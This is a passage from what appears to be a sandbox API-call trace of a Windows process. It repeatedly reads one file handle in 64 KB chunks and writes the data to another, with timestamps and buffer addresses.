lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.435] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.435] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.436] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.436] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.437] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.439] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.440] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.441] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.442] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.443] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.444] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.445] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.445] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.446] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.447] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.448] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.449] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.552] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.553] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.555] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.555] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.556] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.557] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.557] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.558] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.559] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.560] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.560] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.561] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.563] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.564] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.565] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.567] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.567] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.568] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.569] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.570] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.571] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.572] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.572] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.574] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.583] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.587] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.718] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.721] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.721] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.722] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.724] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.724] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.725] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.727] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.727] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.728] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.729] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.730] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.731] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.732] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.732] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.734] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.734] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.734] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.735] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.737] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.738] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.739] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.739] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.740] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.741] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.743] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.743] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.744] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.745] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.745] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.746] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.748] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.749] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.750] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.751] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.752] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.753] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.754] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.755] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.756] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.756] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.757] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.758] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.783] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.784] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.785] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.794] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.797] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.798] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.799] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.800] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.801] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.801] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0195.850] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0195.851] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0195.853] WriteFile (in: hFile=0x39c, 